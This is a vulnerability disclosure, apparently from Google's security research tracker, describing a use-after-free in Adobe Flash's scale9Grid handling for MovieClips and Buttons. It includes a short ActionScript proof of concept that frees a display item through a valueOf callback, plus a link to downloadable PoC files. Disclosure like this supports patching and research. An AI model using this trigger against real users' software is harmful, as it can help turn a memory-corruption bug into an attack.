26 lines
No EOL
855 B
Text
26 lines
No EOL
855 B
Text
Source: https://code.google.com/p/google-security-research/issues/detail?id=380&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
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There is a use-after-free issue if the scale9Grid setting is called on an object with a member that then frees display item. This issue occurs for both MovieClips and Buttons, it needs to be fixed in both classes.
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A PoC is as follows:
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var n = { valueOf : func };
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var o = {x:n, y:0,width:10, height:10}
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_global.mc = this
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var newmc:MovieClip = this.createEmptyMovieClip("mymc",1)
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mymc.scale9Grid = o
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function func() {
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trace("here");
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var t = _global.mc.createTextField("test",1,1,1,2,3)
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t.removeTextField()
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return 7
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}
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A sample fla and swf is attached.
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Proof of Concept:
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https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/37863.zip |